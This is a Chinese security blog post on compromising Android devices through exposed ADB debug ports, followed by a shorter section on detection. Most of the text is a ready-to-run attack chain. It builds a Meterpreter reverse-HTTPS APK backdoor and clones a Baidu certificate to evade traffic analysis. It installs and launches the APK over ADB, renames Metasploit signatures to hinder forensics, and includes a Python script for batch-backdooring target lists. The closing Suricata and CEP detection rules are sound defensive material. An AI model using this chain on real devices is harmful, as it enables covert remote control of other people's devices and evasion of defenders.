Home 应用安全 Android设备ADB远程调试接口的渗透与防御

Android设备ADB远程调试接口的渗透与防御

by zinan

ADB远程调试接口的攻击面引入来源主要是企业内部移动端或IOT研发的调试需求,或者某些第三方厂商交付的IOT产品没有关闭ADB功能。由于这些设备往往在资产视野范围之外,而且设备上也常没有EDR/HIDS之类的Agent,所以对于红队来说,内网拿下几台IOT设备的驻点,可能会造成蓝队的溯源和取证障碍。

 

一、生成Implant

配置meterpreter通讯证书,目的防止默认证书被NTA产品检测。

1、克隆证书

msf6> use auxiliary/gather/impersonate_ssl
msf6 auxiliary(gather/impersonate_ssl) > set rhost  www.baidu.com
msf6 auxiliary(gather/impersonate_ssl) > run

8a336d745a5876ccca2c16a4b5249a82

得到证书:/root/.msf4/loot/20210810024302_default_14.215.177.38_14.215.177.38_pe_633705.pem

2、启动监听server

msf6 auxiliary(gather/impersonate_ssl) > use multi/handler
# 设置payload
msf6 exploit(multi/handler) > set payload payload/android/meterpreter/reverse_https
# 设置监听地址,必须是公网地址,不能是0.0.0.0
msf6 exploit(multi/handler) > set LHOST 1.1.1.1
# 设置监听端口
msf6 exploit(multi/handler) > set LPORT 8443
# 设置HTTPS证书
msf6 exploit(multi/handler) > set HandlerSSLCert /root/.msf4/loot/20210810024302_default_14.215.177.38_14.215.177.38_pe_633705.pem
msf6 exploit(multi/handler) > set StagerVerifySSLCert false

# 可以在接收到seesion后继续监听端口,保持侦听
msf6 exploit(multi/handler) > set ExitOnSession false
# 默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死。实测设置为0会导致beacon异常退出!
msf6 exploit(multi/handler) > set SessionCommunicationTimeout 999999999
# 默认情况下,一个星期(604800秒)后,会话将被强制关闭
msf6 exploit(multi/handler) > set SessionExpirationTimeout 999999999

# 启动后台监听
msf6 exploit(multi/handler) > exploit -j -z

3、生成APK后门

$./msfvenom -p android/meterpreter/reverse_https LHOST=1.1.1.1 LPORT=8443 HandlerSSLCert="/root/.msf4/loot/20210810024302_default_14.215.177.38_14.215.177.38_pe_633705.pem" PayloadUUIDTracking=true PayloadUUIDName=AndroidBeacon StagerVerifySSLCert=false >/root/1.apk

4、自签名APK

$keytool -keystore cert.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 123.com -dname "CN=(aaa), OU=(bbb), O=(HDS), L=(New York), ST=(New York), C=(US)"
$apksigner sign --ks cert.store --ks-key-alias 123.com 1.apk

至此,一个APK后门创建完成,和C2的通讯流量可绕过NTA检测。

 

二、ADB植入后门

# 连接到ADB调试接口
$adb connect 192.168.1.10
# 上传APK
$adb -s 192.168.1.10:5555 push 1.apk /sdcard/1.apk
# 安装APK
$adb -s 192.168.1.10:5555 shell pm install -g /sdcard/1.apk
# 运行APK
$adb -s 192.168.1.10:5555 shell am start --user 0 com.metasploit.stage/.MainActivity

如果没意外,受害设备应该就上线了,整个利用过程很简单。

 

三、修改Metasploit后门默认特征

由于ADB协议是明文传输,在远程启动Metasploit后门时,流量上的命令特征过于明显,很容易被NTA设备监控到,而且代码中的某些硬编码字符也会让蓝队取证变的异常容易,因此在企业内部的真实红蓝对抗场景下,红队在使用这个后门前需要对特征加以修改,具体步骤可参考如下。

1、解压APK安装包

使用apktool工具,将Metasploit初步生成的1.apk解压到qqq目录中,命令如下:

$ apktool d 1.apk -o qqq -f

2、修改硬编码特征

1)AndroidManifest.xml文件

b9a17fc9bdc17dd8bf287e3ed17188c7

第1处为Java包路径,可以随意修改,例如改为『net.weizn.test』,但此处修改后,也要修改对应的目录名:

50da1369fe37f5e42e148d59e471b941

第2处例如可改为『weizn』。

2)修改包路径

在每个smali文件中,都需要修改包引用路径,例如将『com/metasploit/stage』改为『net/weizn/test』。

375beb8aeac9ec5d0cfb2c66ea373add

可借助命令完成批量修改:

$ sed -i "s/com\/metasploit\/stage/net\/weizn\/test/g"  `grep com/metasploit/stage -rl ./`

3)修改APP名称

所需修改的对应文件路径为『./qqq/res/values/strings.xml』,默认后门安装后的名称为『MainActivity』,当然可以自定义一些具有迷惑性的名字,甚至用中文命名,例如『系统安装包管理器』。

ade566f1d9010bad773c00c443f22fb9

3、重新打包为APK

至此,较为明显的硬编码特征就已修改完毕,继续使用apktool工具,将修改好的qqq目录打包为APK文件:

$ apktool b qqq/ -o 2.apk

因为我们修改了打包路径,因此在远程启动新的APK应用时,要写新路径:

# 运行APK
$ adb -s 192.168.1.10:5555 shell am start --user 0 net.weizn.test/.MainActivity

4、重签名APK

最后,借助『Android逆向助手』对打包好的APK进行重签名:

51084102c2411285f786c2e0bdc2279f

 

四、批量利用

由于每个利用步骤都可借助adb工具命令化完成,仅需写一个简单的脚本将命令串联起来即可完成批量利用和检测,可依此评估企业内未收敛的ADB调试接口的影响范围:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os

targetFile = open("targets.txt", "rt")
targetList = targetFile.readlines()
targetFile.close()

for target in targetList:
    target = target.strip("\n")

    print("Attacking target %s" % target)

    # connect
    os.system("adb connect %s" % target)

    # kill process
    os.system("adb -s %s:5555 shell am force-stop com.metasploit.stage" % target)

    # uninstall package
    os.system("adb -s %s:5555 shell pm uninstall com.metasploit.stage" % target)

    # rm apk
    os.system("adb -s %s:5555 rm /sdcard/1.apk" % target)


    # push apk
    os.system("adb -s %s:5555 push 1.apk /sdcard/1.apk" % target)

    # install apk
    os.system("adb -s %s:5555 shell pm install -g /sdcard/1.apk" % target)
    os.system("adb -s %s:5555 shell pm install /sdcard/1.apk" % target)

    # run apk
    os.system("adb -s %s:5555 shell am start --user 0 com.metasploit.stage/.MainActivity" % target)

    print("\n------------------------------------------------------")

 

五、入侵检测与防御

对应的防御方式无非推动有问题的设备关闭ADB,网络层ACL默认deny全网5555端口访问,只按需开通,以及定时的全网扫描等等。再说说检测方面:

1、流量强特征

如果C2通讯未使用HTTPS协议,而使用明文的TCP协议,可以通过Suricata监控默认流量特征,此处监控的是stage下载完整的payload阶段:

alert tcp any any -> $HOME_NET any (msg:"Metasploit Framework - Android Meterpreter APK - Inbound"; flow:established,to_client; content:"androidpayload.stage.Meterpreter"; fast_pattern:8,20; content:"META-INF/MANIFEST.MF"; distance:0; content:"classes.dex"; distance:0; priority:1; rev:3; sid:20054911;)

如果C2通讯使用了HTTPS协议,但是未配置自签证书,可以监控metasploit的默认证书,由于默认证书较多,此处只写一个例子:

alert tls $EXTERNAL_NET any -> $HOME_NET any (msg:"ETPRO ATTACK_RESPONSE Metasploit Meterpreter Reverse HTTPS Certificate Observed M19"; flow:established,to_client; tls_cert_subject; content:"C=US, ST="; content:", O="; distance:0; content:"OU=driver, CN="; distance:0; content:"/emailAddress=driver@"; distance:0; fast_pattern; classtype:trojan-activity; sid:2837372; rev:1; metadata:affected_product Any, attack_target Client_and_Server, deployment Perimeter, deployment Internet, deployment Internal, deployment Datacenter, tag Metasploit, signature_severity Major, created_at 2019_07_09, performance_impact Low, updated_at 2019_07_09;)

通过ADB远程启动APK阶段,如果未修改APK包路径,可以监控命令行特征:

alert tcp any any -> any 5555 (msg:"SC Android ADB Remote Start Metasploit Backdoor"; flow:to_server,established; pcre:"/.*start.*com\.metasploit.*/i"; sid:7700294; rev:1;)

2、异常行为

攻击者可能批量植入APK后门以拿下内网较多的驻点,但除了某些移动端研发人员可能需要批量安装调试,出现的其它情况都属于需要监控的异常行为,例如批量远程执行命令,批量安装APK,和批量启动APK等等。此处举例一个通过ADB远程批量启动APK的监控模型,基于Suricata引擎 + CEP引擎实现级联分析。

分析ADB协议远程执行命令的原始报文,为可打印的text格式:

shell,v2,TERM=screen,raw:am start --user 0 com.android.rule.test/.MainActivity.

监控远程命令执行的对应Suricata规则为:

alert tcp any any -> any 5555 (msg:"SC Android ADB Remote Start APK"; flow:to_server,established; pcre:"/^shell(,|:).*am\s.*start\s.*/i"; sid:7700295; rev:3;)

如果远程启动APK的目的设备超过2个就告警,这个值可以按照实际情况调整,CEP引擎的级联表达式为:

# 通过Android_ADB调试接口大范围远程启动APK
epl: '
@name("通过Android_ADB调试接口大范围远程启动APK_创建窗口")
@public
create window aaacdcf517915e81_suricata#time(10 min) as
select
*
from SuricataAlerts;


@name("通过Android_ADB调试接口大范围远程启动APK_写入缓存数据")
insert into aaacdcf517915e81_suricata
select
*
from SuricataAlerts
where
alert_signature = "SC Android ADB Remote Start APK"
;


@name("通过Android_ADB调试接口大范围远程启动APK_执行查询")
on pattern[every timer:interval(30 sec)]
select
attacker_ip,
count(distinct victim_ip) as diff_cnt
from aaacdcf517915e81_suricata
where
alert_signature = "SC Android ADB Remote Start APK"
group by
attacker_ip
having count(distinct victim_ip) >= 2;

'

最后加白内网中正常的业务需求,可达到无误报程度,告警示例:

b152511de3375575c377a42276c192ca

六、后渗透阶段中的工具

由于Android架构多为aarch64,能在上面运行的工具屈指可数:

NMAP扫描器:https://github.com/kost/nmap-android/releases

busybox:https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/

其他的一些小工具可能需要自研,但通过C写后经过NDK编译的开发效率实属低下,由于Android中存在dalvik虚拟机,因此可以在PC上写好Java代码后,打包为jar文件,再用dx工具将jar文件转换为dalvik虚拟机可运行的dex文件,也算是为自研Android上可运行的工具提供了一种路径。

其中dx工具包含在Android Build Tools中:https://developer.android.com/studio/releases/build-tools

# dx将jar包转换为dex文件
$ dx --dex --output=out.dex ./android.jar

 

打赏
0 comment

You may also like

Leave a Comment

*

code

error: Alert: Content is protected !!